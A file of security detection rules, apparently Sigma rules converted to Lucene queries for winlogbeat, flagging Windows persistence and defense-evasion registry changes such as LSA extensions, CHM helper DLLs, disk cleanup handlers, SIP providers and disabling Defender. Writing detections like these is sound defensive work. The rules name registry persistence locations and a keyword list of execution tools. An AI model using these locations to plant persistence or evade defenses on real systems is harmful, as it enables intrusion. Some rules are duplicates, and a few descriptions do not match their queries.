{"description": "Detects when an attacker adds a new \"Debugger\" value to the \"DbgManagedDebugger\" key in order to achieve persistence which will get invoked when an application crashes", "enabled": false, "false_positives": ["Legitimate use of the key to setup a debugger. Which is often the case on developers machines"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "344690f1-c954-4a4c-8af7-d101b783f80d", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Add Debugger Entry To DbgManagedDebugger For Persistence", "query": "((winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*\\\\Microsoft\\\\.NETFramework\\\\DbgManagedDebugger) AND (NOT (winlog.event_data.Details:\"\\\"C\\:\\\\Windows\\\\system32\\\\vsjitdebugger.exe\\\"\\ PID\\ %d\\ APPDOM\\ %d\\ EXTEXT\\ \\\"%s\\\"\\ EVTHDL\\ %d\")))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1574"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Detects when an attacker adds a new \"Debugger\" value to the \"Hangs\" key in order to achieve persistence which will get invoked when an application crashes", "enabled": false, "false_positives": ["This value is not set by default but could be rarly used by administrators"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "fbb6e4c0-c2c4-fe8d-8f77-3cc46c4a4d1e", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Add Debugger Entry To Hangs Key For Persistence", "query": "(winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\Windows\\ Error\\ Reporting\\\\Hangs\\\\Debugger*)", "meta": {"from": "1m"}, "severity": "high", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects when an attacker adds a new \"DLLPathOverride\" value to the \"Natural Language\" key in order to achieve persistence which will get invoked by \"SearchIndexer.exe\" process", "author": ["Nasreddine Bencherchali"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "6269879d-8c28-d49c-57eb-2ca9d9a657c7", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Potential Persistence Via DLLPathOverride", "query": "(winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\ContentIndex\\\\Language\\\\* AND winlog.event_data.TargetObject:(*\\\\StemmerDLLPathOverride* OR *\\\\WBDLLPathOverride* OR *\\\\StemmerClass* OR *\\\\WBreakerClass*))", "meta": {"from": "1m"}, "severity": "high", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects when an attacker adds a new \"DLLPathOverride\" value to the \"Natural Language\" key in order to achieve persistence which will get invoked by \"SearchIndexer.exe\" process", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "58120eb4-fb29-f1b1-4a39-922f41db6bef", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Add DLLPathOverride Entry For Persistence", "query": "(winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\ContentIndex\\\\Language\\\\* AND winlog.event_data.TargetObject:(*\\\\StemmerDLLPathOverride* OR *\\\\WBDLLPathOverride* OR *\\\\StemmerClass* OR *\\\\WBreakerClass*))", "meta": {"from": "1m"}, "severity": "high", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects when an attacker calls the \"ALTER SERVER AUDIT\" or \"DROP SERVER AUDIT\" transaction in order to delete or disable audit logs on the server", "enabled": false, "false_positives": ["This event should only fire when an administrator is modifying the audit policy. Which should be a rare occurence once it's set up"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "350dfb37-3706-4cdc-9e2e-5e24bc3a46df", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "MSSQL Disable Audit Settings", "query": "(winlog.channel:\"Application\" AND Provider_Name:\"MSSQLSERVER\" AND winlog.event_id:\"33205\" AND Data:(*statement\\:ALTER\\ SERVER\\ AUDIT* OR *statement\\:DROP\\ SERVER\\ AUDIT*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects when an attacker create a similar folder structure to windows system folders such as (Windows, Program Files...)\nbut with a space in order to trick DLL load search order and perform a \"DLL Search Order Hijacking\" attack\n", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "4f9ea19f-8b93-18f0-35fa-a207d4c9cb05", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "DLL Search Order Hijackig Via Additional Space in Path", "query": "(file.path.text:(C\\:\\\\Windows\\ \\\\* OR C\\:\\\\Program\\ Files\\ \\\\* OR C\\:\\\\Program\\ Files\\ \$x86\$\\ \\\\*) AND file.path.text:*.dll)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "Privilege Escalation", "T1574"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}]}, {"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113", "Nasreddine Bencherchali"], "license": ""}
{"description": "Detects when an attacker modifies the \"REG_MULTI_SZ\" value named \"Extensions\" to include a custom DLL to achieve persistence via lsass.\nThe \"Extensions\" list contains filenames of DLLs being automatically loaded by lsass.exe. Each DLL has its InitializeLsaExtension() method called after loading.\n", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "bf0cecfe-0fe9-aa91-deee-2e5c8a9c5b9c", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Persistence Via LSA Extensions", "query": "(winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\LsaExtensionConfig\\\\LsaSrv\\\\Extensions*)", "meta": {"from": "1m"}, "severity": "high", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects when an attacker modifies the \"REG_MULTI_SZ\" value named \"Extensions\" to include a custom DLL to achieve persistence via lsass.\nThe \"Extensions\" list contains filenames of DLLs being automatically loaded by lsass.exe. Each DLL has its InitializeLsaExtension() method called after loading.\n", "author": ["Nasreddine Bencherchali"], "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "a76e2f34-1dee-f07c-892a-26989e7014c6", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Potential Persistence Via LSA Extensions", "query": "(winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\LsaExtensionConfig\\\\LsaSrv\\\\Extensions*)", "meta": {"from": "1m"}, "severity": "high", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects when an attacker modifies the registry key \"HtmlHelp Author\" to achieve persistence", "author": ["Nasreddine Bencherchali"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "1567a166-9773-a245-14d1-8162e22dd8a4", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Potential Persistence Via CHM Helper DLL", "query": "(winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:(*\\\\Software\\\\Microsoft\\\\HtmlHelp\\ Author\\\\Location* OR *\\\\Software\\\\WOW6432Node\\\\Microsoft\\\\HtmlHelp\\ Author\\\\Location*))", "meta": {"from": "1m"}, "severity": "high", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects when an attacker modifies the registry key \"HtmlHelp Author\" to achieve persistence", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "5ff92d15-1542-8f9d-9544-e3adf1a6d935", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "CHM Helper DLL Persistence", "query": "(winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:(*\\\\Software\\\\Microsoft\\\\HtmlHelp\\ Author\\\\Location* OR *\\\\Software\\\\WOW6432Node\\\\Microsoft\\\\HtmlHelp\\ Author\\\\Location*))", "meta": {"from": "1m"}, "severity": "high", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects when an attacker modifies the registry value of the \"hhctrl\" to point to a custom binary", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "4b695079-3d52-ae1a-35b4-f9f6c5749c29", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Persistence Via Hhctrl.ocx", "query": "((winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*\\\\CLSID\\\\\\{52A2AAAE\\-085D\\-4187\\-97EA\\-8C30DB990436\\}\\\\InprocServer32\\\\\$Default\$*) AND (NOT (winlog.event_data.Details:\"C\\:\\\\Windows\\\\System32\\\\hhctrl.ocx\")))", "meta": {"from": "1m"}, "severity": "high", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects when an attacker modifies values of the Disk Cleanup Handler in the registry to achieve persistence via autorun.\nThe disk cleanup manager is part of the operating system. It displays the dialog box [\u2026] The user has the option of enabling or disabling individual handlers by selecting or clearing their check box in the disk cleanup manager's UI. Although Windows comes with a number of disk cleanup handlers, they aren't designed to handle files produced by other applications. Instead, the disk cleanup manager is designed to be flexible and extensible by enabling any developer to implement and register their own disk cleanup handler. Any developer can extend the available disk cleanup services by implementing and registering a disk cleanup handler.\n", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "ac84800d-516a-86ee-5bb5-f1620da9fe86", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Persistence Via Disk Cleanup Handler - Autorun", "query": "((winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\VolumeCaches\\\\*) AND ((winlog.event_data.TargetObject:*\\\\Autorun* AND winlog.event_data.Details:\"DWORD\\ \$0x00000001\$\") OR (winlog.event_data.TargetObject:(*\\\\CleanupString* OR *\\\\PreCleanupString*) AND winlog.event_data.Details:(*cmd* OR *powershell* OR *rundll32* OR *mshta* OR *cscript* OR *wscript* OR *wsl* OR *\\\\Users\\\\Public\\\\* OR *\\\\Windows\\\\TEMP\\\\* OR *\\\\Microsoft\\\\Windows\\\\Start\\ Menu\\\\Programs\\\\Startup\\\\*))))", "meta": {"from": "1m"}, "severity": "medium", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects when an attacker modifies values of the Disk Cleanup Handler in the registry to achieve persistence.\nThe disk cleanup manager is part of the operating system. It displays the dialog box [\u2026] The user has the option of enabling or disabling individual handlers by selecting or clearing their check box in the disk cleanup manager's UI. Although Windows comes with a number of disk cleanup handlers, they aren't designed to handle files produced by other applications. Instead, the disk cleanup manager is designed to be flexible and extensible by enabling any developer to implement and register their own disk cleanup handler. Any developer can extend the available disk cleanup services by implementing and registering a disk cleanup handler.\n", "enabled": false, "false_positives": ["Legitimate new entry added by windows"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "61ffb86f-9c8b-f560-e743-c151d4ad0a42", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Persistence Via Disk Cleanup Handler - NewEntry", "query": "((winlog.event_data.EventType:\"CreateKey\" AND winlog.event_data.TargetObject:*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\VolumeCaches\\\\*) AND (NOT (winlog.event_data.TargetObject:(*\\\\Active\\ Setup\\ Temp\\ Folders OR *\\\\BranchCache OR *\\\\Content\\ Indexer\\ Cleaner OR *\\\\D3D\\ Shader\\ Cache OR *\\\\Delivery\\ Optimization\\ Files OR *\\\\Device\\ Driver\\ Packages OR *\\\\Diagnostic\\ Data\\ Viewer\\ database\\ files OR *\\\\Downloaded\\ Program\\ Files OR *\\\\DownloadsFolder OR *\\\\Feedback\\ Hub\\ Archive\\ log\\ files OR *\\\\Internet\\ Cache\\ Files OR *\\\\Language\\ Pack OR *\\\\Microsoft\\ Office\\ Temp\\ Files OR *\\\\Offline\\ Pages\\ Files OR *\\\\Old\\ ChkDsk\\ Files OR *\\\\Previous\\ Installations OR *\\\\Recycle\\ Bin OR *\\\\RetailDemo\\ Offline\\ Content OR *\\\\Setup\\ Log\\ Files OR *\\\\System\\ error\\ memory\\ dump\\ files OR *\\\\System\\ error\\ minidump\\ files OR *\\\\Temporary\\ Files OR *\\\\Temporary\\ Setup\\ Files OR *\\\\Temporary\\ Sync\\ Files OR *\\\\Thumbnail\\ Cache OR *\\\\Update\\ Cleanup OR *\\\\Upgrade\\ Discarded\\ Files OR *\\\\User\\ file\\ versions OR *\\\\Windows\\ Defender OR *\\\\Windows\\ Error\\ Reporting\\ Files OR *\\\\Windows\\ ESD\\ installation\\ files OR *\\\\Windows\\ Upgrade\\ Log\\ Files))))", "meta": {"from": "1m"}, "severity": "medium", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects when an attacker or tool disables the Windows Defender service (WinDefend) via the registry", "enabled": false, "false_positives": ["Administrator actions"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "5f659c03-3fae-40c2-8cb4-1d2ca39fae22", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Windows Defender Service Disabled", "query": "(winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:\"HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\WinDefend\\\\Start\" AND winlog.event_data.Details:\"DWORD\\ \$0x00000004\$\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["J\u00e1n Tren\u010dansk\u00fd", "frack113", "AlertIQ", "Nasreddine Bencherchali"], "license": ""}
{"description": "Detects when an attacker register a new IFilter for an exntesion. Microsoft Windows Search uses filters to extract the content of items for inclusion in a full-text index. You can extend Windows Search to index new or proprietary file types by writing filters to extract the content, and property handlers to extract the properties of files", "author": ["Nasreddine Bencherchali"], "enabled": false, "false_positives": ["Legitimate registration of IFilters by the OS or software"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "856eeb03-0bdc-42bb-4ae8-14f57ad714bb", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Register New IFiltre For Persistence", "query": "((winlog.event_data.EventType:\"SetValue\" AND (((winlog.event_data.TargetObject:(HKLM\\\\SOFTWARE\\\\Classes\\\\.* OR HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Classes\\\\.*) AND winlog.event_data.TargetObject:*\\\\PersistentHandler*)) OR ((winlog.event_data.TargetObject:(HKLM\\\\SOFTWARE\\\\Classes\\\\CLSID* OR HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Classes\\\\CLSID*) AND winlog.event_data.TargetObject:*\\\\PersistentAddinsRegistered\\\\\\{89BCB740\\-6119\\-101A\\-BCB7\\-00DD010655AF\\}*)))) AND (NOT ((process.executable.text:(C\\:\\\\Windows\\\\System32\\\\* OR C\\:\\\\Program\\ Files\\ \$x86\$\\\\* OR C\\:\\\\Program\\ Files\\\\*) AND winlog.event_data.TargetObject:(*\\\\CLSID\\\\\\{4F46F75F\\-199F\\-4C63\\-8B7D\\-86D48FE7970C\\}\\\\* OR *\\\\CLSID\\\\\\{4887767F\\-7ADC\\-4983\\-B576\\-88FB643D6F79\\}\\\\* OR *\\\\CLSID\\\\\\{D3B41FA1\\-01E3\\-49AF\\-AA25\\-1D0D824275AE\\}\\\\* OR *\\\\CLSID\\\\\\{72773E1A\\-B711\\-4d8d\\-81FA\\-B9A43B0650DD\\}\\\\* OR *\\\\CLSID\\\\\\{098f2470\\-bae0\\-11cd\\-b579\\-08002b30bfeb\\}\\\\* OR *\\\\CLSID\\\\\\{1AA9BF05\\-9A97\\-48c1\\-BA28\\-D9DCE795E93C\\}\\\\* OR *\\\\CLSID\\\\\\{2e2294a9\\-50d7\\-4fe7\\-a09f\\-e6492e185884\\}\\\\* OR *\\\\CLSID\\\\\\{34CEAC8D\\-CBC0\\-4f77\\-B7B1\\-8A60CB6DA0F7\\}\\\\* OR *\\\\CLSID\\\\\\{3B224B11\\-9363\\-407e\\-850F\\-C9E1FFACD8FB\\}\\\\* OR *\\\\CLSID\\\\\\{3DDEB7A4\\-8ABF\\-4D82\\-B9EE\\-E1F4552E95BE\\}\\\\* OR *\\\\CLSID\\\\\\{5645C8C1\\-E277\\-11CF\\-8FDA\\-00AA00A14F93\\}\\\\* OR *\\\\CLSID\\\\\\{5645C8C4\\-E277\\-11CF\\-8FDA\\-00AA00A14F93\\}\\\\* OR *\\\\CLSID\\\\\\{58A9EBF6\\-5755\\-4554\\-A67E\\-A2467AD1447B\\}\\\\* OR *\\\\CLSID\\\\\\{5e941d80\\-bf96\\-11cd\\-b579\\-08002b30bfeb\\}\\\\* OR *\\\\CLSID\\\\\\{698A4FFC\\-63A3\\-4E70\\-8F00\\-376AD29363FB\\}\\\\* OR *\\\\CLSID\\\\\\{7E9D8D44\\-6926\\-426F\\-AA2B\\-217A819A5CCE\\}\\\\* OR *\\\\CLSID\\\\\\{8CD34779\\-9F10\\-4f9b\\-ADFB\\-B3FAEABDAB5A\\}\\\\* OR *\\\\CLSID\\\\\\{9694E38A\\-E081\\-46ac\\-99A0\\-8743C909ACB6\\}\\\\* OR *\\\\CLSID\\\\\\{98de59a0\\-d175\\-11cd\\-a7bd\\-00006b827d94\\}\\\\* OR *\\\\CLSID\\\\\\{AA10385A\\-F5AA\\-4EFF\\-B3DF\\-71B701E25E18\\}\\\\* OR *\\\\CLSID\\\\\\{B4132098\\-7A03\\-423D\\-9463\\-163CB07C151F\\}\\\\* OR *\\\\CLSID\\\\\\{d044309b\\-5da6\\-4633\\-b085\\-4ed02522e5a5\\}\\\\* OR *\\\\CLSID\\\\\\{D169C14A\\-5148\\-4322\\-92C8\\-754FC9D018D8\\}\\\\* OR *\\\\CLSID\\\\\\{DD75716E\\-B42E\\-4978\\-BB60\\-1497B92E30C4\\}\\\\* OR *\\\\CLSID\\\\\\{E2F83EED\\-62DE\\-4A9F\\-9CD0\\-A1D40DCD13B6\\}\\\\* OR *\\\\CLSID\\\\\\{E772CEB3\\-E203\\-4828\\-ADF1\\-765713D981B8\\}\\\\* OR *\\\\CLSID\\\\\\{eec97550\\-47a9\\-11cf\\-b952\\-00aa0051fe20\\}* OR *\\\\CLSID\\\\\\{FB10BD80\\-A331\\-4e9e\\-9EB7\\-00279903AD99\\}\\\\*)))))", "meta": {"from": "1m"}, "severity": "medium", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects when an attacker register a new IFilter for an exntesion. Microsoft Windows Search uses filters to extract the content of items for inclusion in a full-text index. You can extend Windows Search to index new or proprietary file types by writing filters to extract the content, and property handlers to extract the properties of files", "author": ["Nasreddine Bencherchali"], "enabled": false, "false_positives": ["Legitimate registration of IFilters by the OS or software"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "856eeb03-0bdc-42bb-4ae8-14f57ad714bb", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Register New IFiltre For Persistence", "query": "((winlog.event_data.EventType:\"SetValue\" AND (((winlog.event_data.TargetObject:(HKLM\\\\SOFTWARE\\\\Classes\\\\.* OR HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Classes\\\\.*) AND winlog.event_data.TargetObject:*\\\\PersistentHandler*)) OR ((winlog.event_data.TargetObject:(HKLM\\\\SOFTWARE\\\\Classes\\\\CLSID* OR HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Classes\\\\CLSID*) AND winlog.event_data.TargetObject:*\\\\PersistentAddinsRegistered\\\\\\{89BCB740\\-6119\\-101A\\-BCB7\\-00DD010655AF\\}*)))) AND (NOT ((winlog.event_data.TargetObject:(*\\\\CLSID\\\\\\{4F46F75F\\-199F\\-4C63\\-8B7D\\-86D48FE7970C\\}\\\\* OR *\\\\CLSID\\\\\\{4887767F\\-7ADC\\-4983\\-B576\\-88FB643D6F79\\}\\\\* OR *\\\\CLSID\\\\\\{D3B41FA1\\-01E3\\-49AF\\-AA25\\-1D0D824275AE\\}\\\\* OR *\\\\CLSID\\\\\\{72773E1A\\-B711\\-4d8d\\-81FA\\-B9A43B0650DD\\}\\\\* OR *\\\\CLSID\\\\\\{098f2470\\-bae0\\-11cd\\-b579\\-08002b30bfeb\\}\\\\* OR *\\\\CLSID\\\\\\{1AA9BF05\\-9A97\\-48c1\\-BA28\\-D9DCE795E93C\\}\\\\* OR *\\\\CLSID\\\\\\{2e2294a9\\-50d7\\-4fe7\\-a09f\\-e6492e185884\\}\\\\* OR *\\\\CLSID\\\\\\{34CEAC8D\\-CBC0\\-4f77\\-B7B1\\-8A60CB6DA0F7\\}\\\\* OR *\\\\CLSID\\\\\\{3B224B11\\-9363\\-407e\\-850F\\-C9E1FFACD8FB\\}\\\\* OR *\\\\CLSID\\\\\\{3DDEB7A4\\-8ABF\\-4D82\\-B9EE\\-E1F4552E95BE\\}\\\\* OR *\\\\CLSID\\\\\\{5645C8C1\\-E277\\-11CF\\-8FDA\\-00AA00A14F93\\}\\\\* OR *\\\\CLSID\\\\\\{5645C8C4\\-E277\\-11CF\\-8FDA\\-00AA00A14F93\\}\\\\* OR *\\\\CLSID\\\\\\{58A9EBF6\\-5755\\-4554\\-A67E\\-A2467AD1447B\\}\\\\* OR *\\\\CLSID\\\\\\{5e941d80\\-bf96\\-11cd\\-b579\\-08002b30bfeb\\}\\\\* OR *\\\\CLSID\\\\\\{698A4FFC\\-63A3\\-4E70\\-8F00\\-376AD29363FB\\}\\\\* OR *\\\\CLSID\\\\\\{7E9D8D44\\-6926\\-426F\\-AA2B\\-217A819A5CCE\\}\\\\* OR *\\\\CLSID\\\\\\{8CD34779\\-9F10\\-4f9b\\-ADFB\\-B3FAEABDAB5A\\}\\\\* OR *\\\\CLSID\\\\\\{9694E38A\\-E081\\-46ac\\-99A0\\-8743C909ACB6\\}\\\\* OR *\\\\CLSID\\\\\\{98de59a0\\-d175\\-11cd\\-a7bd\\-00006b827d94\\}\\\\* OR *\\\\CLSID\\\\\\{AA10385A\\-F5AA\\-4EFF\\-B3DF\\-71B701E25E18\\}\\\\* OR *\\\\CLSID\\\\\\{B4132098\\-7A03\\-423D\\-9463\\-163CB07C151F\\}\\\\* OR *\\\\CLSID\\\\\\{d044309b\\-5da6\\-4633\\-b085\\-4ed02522e5a5\\}\\\\* OR *\\\\CLSID\\\\\\{D169C14A\\-5148\\-4322\\-92C8\\-754FC9D018D8\\}\\\\* OR *\\\\CLSID\\\\\\{DD75716E\\-B42E\\-4978\\-BB60\\-1497B92E30C4\\}\\\\* OR *\\\\CLSID\\\\\\{E2F83EED\\-62DE\\-4A9F\\-9CD0\\-A1D40DCD13B6\\}\\\\* OR *\\\\CLSID\\\\\\{E772CEB3\\-E203\\-4828\\-ADF1\\-765713D981B8\\}\\\\* OR *\\\\CLSID\\\\\\{eec97550\\-47a9\\-11cf\\-b952\\-00aa0051fe20\\}* OR *\\\\CLSID\\\\\\{FB10BD80\\-A331\\-4e9e\\-9EB7\\-00279903AD99\\}\\\\*)) OR (process.executable.text:(C\\:\\\\Windows\\\\System32\\\\* OR C\\:\\\\Program\\ Files\\ \$x86\$\\\\* OR C\\:\\\\Program\\ Files\\\\*)))))", "meta": {"from": "1m"}, "severity": "medium", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects when an attacker register a new SIP provider for persistence and defense evasion", "author": ["Nasreddine Bencherchali"], "enabled": false, "false_positives": ["Might trigger if a legitimate new SIP provider is registered. But this is not a common occurrence in an environment and should be investigated either way"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "fd004942-0ffc-7cdb-582c-6f7a97ddb61c", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Potential Persistence Via Mpnotify", "query": "(winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\Winlogon\\\\mpnotify*)", "meta": {"from": "1m"}, "severity": "high", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects when an attacker register a new SIP provider for persistence and defense evasion", "enabled": false, "false_positives": ["Legitimate SIP being registered by the OS or different software."], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "5c6c9196-71aa-c187-f2e2-fcabff41100e", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Persistence Via New SIP Provider", "query": "((winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:(*\\\\SOFTWARE\\\\Microsoft\\\\Cryptography\\\\Providers\\\\* OR *\\\\SOFTWARE\\\\Microsoft\\\\Cryptography\\\\OID\\\\EncodingType* OR *\\\\SOFTWARE\\\\WOW6432Node\\\\Microsoft\\\\Cryptography\\\\Providers\\\\* OR *\\\\SOFTWARE\\\\WOW6432Node\\\\Microsoft\\\\Cryptography\\\\OID\\\\EncodingType*) AND winlog.event_data.TargetObject:(*\\\\Dll* OR *\\\\$DLL*)) AND (NOT ((winlog.event_data.Details:(\"WINTRUST.DLL\" OR \"mso.dll\")) OR (process.executable.text:\"C\\:\\\\Windows\\\\System32\\\\poqexec.exe\" AND winlog.event_data.TargetObject:*\\\\CryptSIPDll* AND winlog.event_data.Details:\"C\\:\\\\Windows\\\\System32\\\\PsfSip.dll\"))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1553"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1553", "name": "Subvert Trust Controls", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects when an attacker register a new SIP provider for persistence and defense evasion", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "6f61ef70-494a-831e-3ee1-dc35884696f0", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Persistence Via Mpnotify", "query": "(winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\Winlogon\\\\mpnotify*)", "meta": {"from": "1m"}, "severity": "high", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
